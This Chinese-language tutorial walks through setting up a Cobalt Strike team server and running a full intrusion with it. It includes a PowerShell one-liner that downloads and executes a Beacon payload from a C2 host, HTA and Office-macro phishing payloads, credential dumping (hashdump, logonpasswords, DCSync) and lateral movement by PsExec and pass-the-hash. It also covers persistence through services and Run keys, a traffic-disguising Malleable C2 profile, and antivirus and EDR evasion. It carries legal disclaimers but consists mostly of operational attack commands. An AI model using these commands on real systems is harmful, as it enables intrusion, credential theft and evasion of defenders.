📘 什么是 Cobalt Strike?
Cobalt Strike 是一款专业的红队对抗工具,最初由 Raphael Mudge 于 2012 年发布。它基于 Metasploit 架构,但提供了更强大的团队协作、更灵活的 C2 通信和更丰富的后渗透功能。
🎯 核心特性
- Beacon:轻量级 Payload,支持多种通信协议(HTTP/HTTPS/DNS/SMB)
- Malleable C2:自定义流量特征,模拟正常软件通信
- 团队协作:多人同时连接 Team Server,共享 Session
- 丰富模块:提权、横向移动、凭证窃取、键盘记录等后渗透功能
⚠️ 法律声明
Cobalt Strike 是商业软件,售价约 $3500/年/用户。盗版使用是违法行为,仅可用于合法授权的渗透测试。本文仅供技术学习,请勿用于非法用途。
🚀 Team Server 部署
1. 环境准备
# 安装 Java 环境 (Cobalt Strike 4.x 需要 Java 11+)
sudo apt update
sudo apt install openjdk-11-jdk -y
java -version
# 上传 Cobalt Strike 压缩包
scp cobaltstrike-linux.tgz [email protected]:/opt/
# 解压
cd /opt
tar -zxvf cobaltstrike-linux.tgz
cd cobaltstrike
2. 启动 Team Server
# 语法: ./teamserver <主机IP> <密码> [Malleable C2 Profile]
./teamserver 192.168.1.100 P@ssw0rd123
[*] Generating X509 certificate and keystore (for SSL)
[+] Team server is up on 0.0.0.0:50050
[*] SHA256 hash of SSL cert is: abc123...
# 使用自定义 C2 Profile(推荐)
./teamserver 192.168.1.100 P@ssw0rd123 jquery-c2.4.9.profile
3. 客户端连接
在 Windows/Linux/Mac 上运行 Cobalt Strike 客户端:
# Windows
cobaltstrike.exe
# Linux/Mac
./cobaltstrike
# 连接参数
Host: 192.168.1.100
Port: 50050
User: redteam
Password: P@ssw0rd123
🔴 Beacon 生成与投递
1. 生成 Payload
在 CS 客户端中:Attacks → Packages → Windows Executable
# Listener 类型
- windows/beacon_http/reverse_http # HTTP Beacon (常用)
- windows/beacon_https/reverse_https # HTTPS Beacon (推荐)
- windows/beacon_dns/reverse_dns_txt # DNS Beacon (隐蔽)
- windows/beacon_smb/bind_pipe # SMB Beacon (内网横向)
# 生成 EXE
Output: beacon.exe
x64: 勾选 (推荐 64 位)
# 或生成 DLL/Service EXE/PowerShell
Output: beacon.dll / beacon_svc.exe / beacon.ps1
2. 无文件攻击(PowerShell)
# 生成 PowerShell 一句话
Attacks → Packages → Scripted Web Delivery (S)
# 目标执行
powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://192.168.1.100:80/a'))"
# 或使用 HTML Application (HTA)
Attacks → Packages → HTML Application
# 目标访问: http://192.168.1.100/beacon.hta
3. Office 宏钓鱼
# 生成宏代码
Attacks → Packages → MS Office Macro
# 将生成的 VBA 代码插入 Word/Excel
# 用户启用宏后即上线 Beacon
📡 Beacon 通信与管理
Beacon 交互
# 右键 Beacon → Interact 进入交互模式
beacon> help # 查看所有命令
# 基础信息收集
beacon> shell whoami
beacon> shell ipconfig
beacon> shell systeminfo
beacon> pwd
beacon> ls
# 进程管理
beacon> ps # 列出进程
beacon> kill # 结束进程
# 文件操作
beacon> download C:\Users\admin\Desktop\passwords.txt
beacon> upload C:\tools\mimikatz.exe
beacon> cd C:\Windows\Temp
Beacon 进程注入
# 注入到指定进程 (提高稳定性)
beacon> inject x64 tcp-local # 注入TCP Beacon
beacon> inject 1234 x64 http # 注入HTTP Beacon
# 生成新进程并注入
beacon> spawn x64 http # 生成新 Beacon
# 推荐注入目标进程
explorer.exe # 用户会话进程,重启后仍存在
svchost.exe # 系统服务进程
rundll32.exe # 常见系统进程
🎮 后渗透攻击
1. 凭证窃取
# 抓取密码(需要管理员权限)
beacon> logonpasswords
# 抓取哈希
beacon> hashdump
# 导出票据
beacon> kerberos_ticket_use C:\tickets\admin.ticket
# DCSync 攻击(需要域管权限)
beacon> dcsync corp.com krbtgt
2. 权限提升
# 提权到 SYSTEM
beacon> elevate svc-exe # 使用服务提权
beacon> elevate uac-token-duplication # UAC绕过
# 获取 SYSTEM 权限后
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM
# Potato 系列提权
beacon> runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX..."
3. 横向移动
# 1. PsExec (需要管理员凭证)
beacon> jump psexec 10.10.10.50 smb
beacon> jump psexec64 10.10.10.50 smb
# 2. WMI 执行
beacon> jump wmi 10.10.10.50 smb
# 3. PTH (哈希传递)
beacon> pth corp\administrator e19ccf75ee54e06b06a5907af13cef42
# 4. SSH 横向移动
beacon> ssh 10.10.10.100:22 root password123
# 5. 使用凭证创建 SMB Beacon
beacon> remote-exec psexec 10.10.10.50 smb
4. 权限维持
# 创建服务
beacon> sc create "WindowsUpdate" binpath= "C:\Windows\Temp\beacon.exe" start= auto
# WMI 事件订阅
beacon> execute-assembly wmibackdoor.exe
# 注册表启动项
beacon> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\Windows\Temp\beacon.exe"
# 黄金票据(需要 krbtgt 哈希)
beacon> golden_ticket_create corp.com krbtgt Administrator /ticket:golden.ticket
🔀 内网穿透与代理
1. Socks 代理
# 启动 Socks4a 代理(监听本地端口)
beacon> socks 1080
# 配置 proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf
# 通过代理访问内网
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains firefox # 浏览器访问内网 Web
2. 端口转发
# Reverse Port Forward (反向端口转发)
beacon> rportfwd 3389 10.10.10.100 3389
# 现在可以通过 localhost:3389 访问内网 RDP
rdesktop localhost:3389
🎭 Malleable C2 Profile(流量伪装)
Malleable C2 允许自定义 Beacon 的通信流量,模拟正常软件(如 jQuery、Google Analytics)的流量特征。
# jquery-c2.4.9.profile
set sleeptime "30000"; # 心跳间隔 30 秒
set jitter "20"; # 抖动 20%
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
http-get {
set uri "/jquery-3.4.9.min.js";
client {
header "Host" "code.jquery.com";
header "Accept" "*/*";
header "Referer" "https://www.google.com/";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "application/javascript";
header "Server" "nginx";
output {
print;
}
}
}
http-post {
set uri "/jquery-3.4.9.min.js";
client {
header "Content-Type" "application/x-www-form-urlencoded";
id {
parameter "id";
}
output {
base64url;
parameter "data";
}
}
server {
header "Content-Type" "application/javascript";
output {
print;
}
}
}
# 检查 Profile 语法
./c2lint jquery-c2.4.9.profile
# 使用 Profile 启动 Team Server
./teamserver 192.168.1.100 P@ssw0rd123 jquery-c2.4.9.profile
🕵️ 免杀与对抗检测
1. Artifact Kit(二进制免杀)
# 修改 Artifact Kit 源码
cd /opt/cobaltstrike/artifact-kit/src-common
vim bypass.c # 修改加载器代码
# 编译
./build.sh
# 加载自定义 Artifact Kit
Cobalt Strike → Script Manager → Load → aggressor.cna
2. Resource Kit(PowerShell 免杀)
# 修改 PowerShell 模板
cd /opt/cobaltstrike/resource-kit/resources
vim template.x64.ps1
# 混淆技术
- 变量名随机化
- Base64 编码
- AES 加密
- 反射加载
3. Sleep Mask Kit(内存免杀)
Sleep Mask 在 Beacon 休眠时加密内存,避免被内存扫描工具检测。
# 编译 Sleep Mask
cd /opt/cobaltstrike/sleep-mask-kit
make
# 配置使用
set sleepmask "sleepmask.o";
👥 团队协作功能
🎯 多人协作特性
- 共享 Session:所有成员可以看到和操作同一个 Beacon
- 事件日志:记录所有操作,便于审计和复盘
- 文件共享:团队成员可共享工具和 Payload
- 聊天功能:内置聊天室,实时沟通
# 查看在线用户
View → Event Log
# 发送聊天消息
Cobalt Strike → Chat
# 标记高价值目标
右键 Beacon → Session → Note → 添加标签 "Domain Controller"
🚀 高级技巧
1. .NET 程序集执行
# 执行 Rubeus(Kerberos 攻击工具)
beacon> execute-assembly Rubeus.exe kerberoast /outfile:hashes.txt
# 执行 SharpHound(BloodHound 收集器)
beacon> execute-assembly SharpHound.exe -c All --zipfilename corp.zip
2. BOF(Beacon Object Files)
BOF 是轻量级 C 代码片段,在 Beacon 进程内执行,无需注入。
# 加载 BOF 脚本
Cobalt Strike → Script Manager → Load → adcs_enum.cna
# 执行 BOF
beacon> adcs_enum
3. 绕过 EDR
# 使用直接系统调用 (Direct Syscalls)
beacon> execute-assembly SyscallsExample.exe
# 禁用 ETW (Event Tracing for Windows)
beacon> execute-assembly InlineWhispers.exe
# Hook 检测规避
beacon> unhook ntdll.dll
📚 总结
Cobalt Strike 是目前最强大的红队工具之一,掌握它的使用对于渗透测试人员和红队成员至关重要。从 Beacon 生成、横向移动到流量伪装、团队协作,CS 提供了完整的 APT 攻击模拟能力。
⚠️ 使用注意事项
- 合法授权:仅在获得书面授权的环境中使用 Cobalt Strike
- 正版软件:购买正版软件,支持开发者
- 流量加密:使用 HTTPS Beacon 和 Malleable C2 Profile
- 清理痕迹:测试结束后删除 Beacon 和后门
🖼️ Cobalt Strike 实战界面